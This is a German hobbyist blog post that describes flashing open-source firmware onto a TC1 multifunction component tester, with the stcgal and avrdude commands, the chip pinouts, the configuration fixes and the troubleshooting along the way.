## 57. TC1 Multifunction Tester: Open-Source Firmware flashen, kalibrieren und die Stolperfallen dabei
**Date:** 2026-04-05 | **URL:** https://www.kernel-error.de/2026/04/05/tc1-multifunction-tester-open-source-firmware-flashen-kalibrieren/
Es gibt diese kleinen Bauteiltester aus China, die fuer 15 bis 20 Euro auf AliExpress oder Amazon rumschwirren. Der TC1, auch bekannt als LCR-TC1. Transistoren, Widerstaende, Kondensatoren, MOSFETs, Dioden. Bauteil in den ZIF-Sockel stecken, Knopf druecken, fertig. Fuer den Preis eigentlich erstaunlich brauchbar. Aber die originale Firmware ist halt, sagen wir mal, solide Mittelklasse. Die Open-Source m-firmware von madires (https://github.com/madires/Transistortester-Warehouse) kann deutlich mehr: bessere Erkennung, Kalibrierung, zusaetzliche Bauteile, IR-Decoder und ein sauberes Menue. Also habe ich mich drangesetzt.
Was als "schnell mal neue Firmware drauf" geplant war, wurde ein mehrtaegiger Abstieg in die Untiefen von STC-Microcontrollern, falschen Pinouts und parasitaerer Stromversorgung. Aber der Reihe nach.
### Was steckt im TC1?
Auf der Rueckseite der Platine sitzen zwei Chips, die man kennen muss:
U1: ATmega324PA — der Hauptprozessor. Ein Atmel AVR im TQFP-44 Gehaeuse, 32 KB Flash, 2 KB SRAM, 1 KB EEPROM. Hier laeuft die eigentliche Tester-Firmware. Wird ueber ISP (In-System Programming) geflasht, also braucht man einen Programmer.
U4: STC15L104W — ein winziger 8051-kompatibler Mikrocontroller im SOP-8 Gehaeuse von STC Micro. Der macht das Power-Management: Einschalten per Tastendruck, automatisches Abschalten nach Timeout. Klingt trivial, ist aber der Chip, der mir die meisten Kopfschmerzen bereitet hat.
Beide Chips brauchen neue Firmware. Die m-firmware liefert die Hex-Dateien fuer beide: ComponentTester.hex fuer den ATmega und u4.hex fuer den STC. Klingt einfach. War es nicht.
### Erster Versuch: Backup der Original-Firmware
Bevor man irgendwas ueberschreibt, will man natuerlich ein Backup. Gute Idee, klappt nur nicht. Die Lock Bits des ATmega sind auf 0xC0 gesetzt. Das bedeutet: Lesen des Flash-Inhalts ist gesperrt. Man kann die Firmware loeschen und neu schreiben, aber nicht auslesen. Kein Backup moeglich. Also Augen zu und durch.
### U4 flashen: Der schwierigste Teil
Der STC15L104W hat einen eingebauten UART-Bootloader. Klingt praktisch. Man braucht theoretisch nur einen USB-TTL Adapter, sendet das Hex-File und der Chip programmiert sich selbst. Theoretisch. In der Praxis muss der Chip fuer den Bootloader einen sauberen Power-Cycle bekommen, also Strom weg, Strom wieder an. Und genau hier faengt das Drama an.
Im eingeloeteten Zustand liegt VCC des STC ueber den Button-Schaltkreis auf GND. Der Bootloader startet schlicht nicht. Der Chip muss raus. Also Atten ST-862D Heissluftstation raus, SOP-8 Chip bei 280 Grad vorsichtig von der Platine gehoben, Pads sauber gemacht.
### Der CH341 und seine 5V-Luege
Erster Versuch: CH341 USB-TTL Adapter. Steht "3.3V" drauf, also sollte das passen. Der STC15L104W ist ein 3.3V-only Chip, 5V auf den Datenleitungen waeren sein Todesurteil. Also Multimeter dran, TX-Pin messen und... 5V. Auf dem TX-Pin. Trotz "3.3V"-Stellung. Der CH341 hat zwar einen 3.3V Spannungsregler fuer VCC, aber die Logikpegel auf TX bleiben bei 5V. Man muss es wissen oder messen.
Loesung: FT232RL USB-TTL Adapter mit echtem 3.3V/5V Jumper, der tatsaechlich auch die Logikpegel umschaltet.
### Das Pinout-Desaster
Stundenlang versucht, den STC ueber Pin 1 (P3.4) und Pin 3 (P3.5) anzusprechen — das sind GPIO-Pins, nicht UART. Die UART-Pins (RXD/TXD) liegen auf P3.0 und P3.1, also Pin 5 und Pin 6. SOP-8 Pinout:
+----------+
Pin 1 | P3.4 | Pin 8 (P3.3)
Pin 2 | VCC | Pin 7 (P3.2)
Pin 3 | P3.5 | Pin 6 <- TXD (P3.1)
Pin 4 | GND | Pin 5 <- RXD (P3.0)
+----------+
### Parasitaere Stromversorgung
Der STC-Bootloader braucht einen Power-Cycle zum Starten. Aber der Chip versorgt sich ueber die TX/RX-Datenleitungen parasitaer mit Strom (Schutzdioden in den I/O-Pins). Beim Power-Cycle muessen ALLE Draehte getrennt werden, nicht nur VCC. Dazu ein 220 Ohm Serienwiderstand auf TX als Schutz und ein 100nF Steutzkondensator zwischen VCC und GND.
Geflasht mit stcgal unter Linux:
stcgal -P stc15 -p /dev/ttyUSB1 -l 2400 -b 4800 -t 12000 u4.hex
### U1 flashen: Der einfache Teil
Arduino Uno als ISP-Programmer (ArduinoISP Sketch). Pin-Header auf J4-ISP-Pads der TC1-Rueckseite geloetet. Geflasht mit:
avrdude -c avrisp -p m324pa -P /dev/ttyACM0 -b 19200 -U flash:w:ComponentTester.hex:i
### "Kas Rh- _BB" — Garbled Display
Nach dem Flashen zeigte das Display "Kas Rh- _BB" statt "Bat 3.83V ok". Ursache: Die m-firmware speichert Strings standardmaessig im EEPROM (DATA_EEPROM), aber die .eep-Datei wurde nicht geflasht. "Kas" ist der Anfang von "Kaseikyo" (IR-Protokollname). Fix: DATA_FLASH statt DATA_EEPROM in config.h — Strings direkt im Flash-Speicher.
### Batteriespannung falsch (19V statt 3.8V)
Standard-Config nimmt Spannungsteiler an (BAT_DIVIDER, 9V-Block). TC1 hat keinen Spannungsteiler. Fix: BAT_DIRECT, BAT_WEAK=3400, BAT_LOW=3100 (einzelne LiPo-Zelle).
### Menue und Kalibrierung
UI_SHORT_CIRCUIT_MENU: Alle drei Probe-Pins kurzschliessen oeffnet das Menue. Kalibrierung ueber Adjustment mit leerem ZIF-Sockel, dann Kondensator >100nF einstecken.
### Vollstaendige Konfiguration
Makefile: MCU=atmega324p, FREQ=16
config.h: DATA_FLASH, UI_AUTOHOLD, UI_SHORT_CIRCUIT_MENU, BAT_DIRECT, BAT_WEAK=3400, BAT_LOW=3100
config_644.h: LCD_ST7735, SPI_BITBANG (SDA auf PB6 statt Hardware-MOSI PB5), Probe-Widerstaende auf PORTC (PC0-PC5), Power PD2, Button PD1, TP_ZENER=PA4, TP_REF=PA3 (vertauscht vs. Default)
Fertige Firmware + Anleitung: https://github.com/Kernel-Error/tc1-firmware-update
m-firmware: https://github.com/madires/Transistortester-Warehouse (EUPL v1.2)
tc1-u4: https://github.com/atar-axis/tc1-u4 (GPL v3)
**Kategorien:** Elektronik & DIY, Embedded & Mikrocontroller
**Tags:** Firmware, Arduino, DIY, loeten, Open Source